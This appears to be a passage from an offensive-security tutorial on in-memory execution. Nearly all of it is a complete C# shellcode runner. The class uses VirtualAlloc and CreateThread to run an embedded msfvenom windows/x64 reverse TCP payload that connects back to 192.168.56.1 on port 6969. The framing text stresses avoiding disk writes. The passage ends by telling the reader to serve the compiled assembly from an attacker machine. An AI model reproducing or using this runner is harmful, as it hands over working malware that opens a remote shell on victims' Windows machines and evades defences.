This technique will load a precompiled C# assembly directly into memory without touching the disk and execute a shellcode runner:
using System;
using System.Runtime.InteropServices;
namespace ClassLibrary1
{
public class Class1
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void runner()
{
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=6969 exitfunc=thread -f csharp -a x64
byte[] buf = new byte[460] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,
0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x1b,0x39,0xc0,0xa8,0x38,0x01,0x41,0x54,
0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,
0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,
0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,
0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,
0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x49,0xb8,0x63,
0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,
0x57,0x57,0x4d,0x31,0xc0,0x6a,0x0d,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,
0x24,0x54,0x01,0x01,0x48,0x8d,0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,
0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,
0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,
0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41,0xba,0x08,0x87,0x1d,0x60,0xff,
0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,
0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5 };
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
build the project and copy the compiled assembly to attacker machine and serve it with a web server: